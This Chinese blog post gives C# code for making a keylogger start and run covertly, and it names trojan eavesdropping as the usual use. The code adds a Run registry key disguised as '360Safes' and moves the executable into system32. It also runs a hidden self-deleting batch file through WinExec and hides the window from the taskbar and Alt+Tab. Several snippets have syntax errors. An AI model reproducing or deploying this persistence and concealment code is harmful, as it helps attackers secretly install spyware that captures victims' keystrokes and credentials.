程序隐藏启动的C#实现经验

键盘记录器也叫键盘记录软件,详细记录登录者键盘操作的记录,常用于木马软件的窃听、监听模块。作者Nothing在实现这个功能的时候把程序如何隐藏启动的经验贴出来与大家分享。

一、开机启动

最基本的是开机自启动,简单代码如下:

开机启动项有四个可选也可以同时添加

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

命名空间using Microsoft.Win32;

01       /// <summary>
02         /// 开机启动
03           /// </summary>
04         public void registryRun()
05         {
06             try
07             {
08                 string s = "\""+System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)+"\"";
09                 RegistryKey key1 = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run");
10                 key1.SetValue("360Safes",s );
11                 key1.Close();
12             }
13             catch { }
14         }

在注册表开机启动项Run中建立了一个键360Safes(相对隐蔽一点,随意),键值为拷贝到system32的键盘记录程序。

卸载开机启动项:

01 public void DeleteRun()
02        {
03            try
04            {
05                RegistryKey key = Registry.LocalMachine;
06                RegistryKey soft = key.OpenSubKey(@"Software\Microsoft\\Windows\CurrentVersion\run"true);
07                if (IsRegeditKeyExist(soft, "360Safes"))
08                {
09                    MessageBox.Show("开机项已删除!");
10                }
11                else
12                {
13                    MessageBox.Show("该开机项不存在");
14                }
15                key.Close();
16                soft.Close();
17            }
18            catch { }
19        }
20        //判断键值是否存在  有则删除
21        private bool IsRegeditKeyExist(RegistryKey RegBoot, string RegKeyName)
22        {
23            try
24            {
25                string[] subkeyNames;
26                subkeyNames = RegBoot.GetValueNames();
27                foreach (string keyName in subkeyNames)
28                {
29  
30                    if (keyName == RegKeyName)  //判断键值的名称
31                    {
32                        RegBoot.DeleteValue(keyName);
33                        RegBoot.Close();
34                        return true;
35                    }
36                }
37                RegBoot.Close();
38                return false;
39            }
40            catch return false; }
41  
42        }

二、首次运行处理

首次运行键盘记录程序有几步操作(以mm.exe代替键盘记录程序),通过生成的批处理文件删除运行中的程序解决自删除问题。

简要流程:复制自身至system32 → 生成批处理并运行 → 退出程序 → 批处理完成删除程序,启动system32下的程序→ 批处理自删除

1. 判断当前运行程序mm.exe位置,如果不是位于system32文件夹则复制自身

01 private void MoveFile()
02    {
03        try
04        {
05            if (!File.Exists(System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)))
06            {
07    File.Move(Application.ExecutablePath, System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath));
08          }
09        catch { }
10    }

2. 生成一个批处理, 执行删除文件操作

批处理里会判断mm.exe是不是存在,如不存在会一直执行删除,可以保证最终删除mm.exe。批处理实现是cmd下执行的一段代码,通过cmd来删除一个bat文件也不会有问题,所以批处理可以进行自删除。

01 public static void BeginKillSelf()
02     {
03         try
04         {
05             if (Application.StartupPath != System.Environment.SystemDirectory)
06             {
07                 string vBatFile = Path.GetDirectoryName(Application.ExecutablePath) + "\\a.bat";
08                 using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
09                 {
10                     vStreamWriter.Write(string.Format(
11                     ":del\r\n" +
12                     " del \"{0}\"\r\n" +
13                     "if exist \"{0}\" goto del\r\n" +
14                     "start \"\"  \"{1}\" \r\n" +  //启动system32下的mm.exe
15                     "del %0\r\n", Application.ExecutablePath,  System.Environment.SystemDirectory + "\\" + System.IO.Path.GetFileName(Application.ExecutablePath)) +                 // 删除mm.exe
16                     "exit"  //退出cmd
17                     );
18                 }
19               WinExec(vBatFile, 0); Environment.Exit(0);
20             }
21            }
22  
23        catch { }
24        }

 

WinExec是Windows API,声明如下:

1 [DllImport("kernel32.dll")]
2   public static extern uint WinExec(string lpCmdLine, uint uCmdShow);

3. mm.exe退出程序,批处理得以删除mm.exe

彻底退出程序用

1 Application.Exit();

4. 批处理运行System32下的mm.exe,再删除自身

 

三、只允许一个进程实例

启动时检查进程,如果发现程序已经运行则退出

01 private void RunAProcessAtOnce()
02   {
03       System.Diagnostics.Process[] pProcesses = System.Diagnostics.Process.GetProcessesByName(
04          System.Diagnostics.Process.GetCurrentProcess().ProcessName);
05       if (pProcesses.Length > 1)
06       {
07           Application.Exit();
08           return;
09       }
10   }

四、彻底窗体隐藏

彻底的将窗体隐藏有以下几条:

1.  窗体的ShowInTaskbar属性设为false

    WindowState设为启动最小化

    FormBordStyle为None

2. 隐藏Alt+Tab里的图标

重载SetVisibleCore

1 protected override void SetVisibleCore(bool value)
2       {
3           base.SetVisibleCore(value);
4       }

然后在窗体的Load事件写入 SetVisibleCore(false);即可

原文地址:https://www.cnblogs.com/Randy0528/p/2891975.html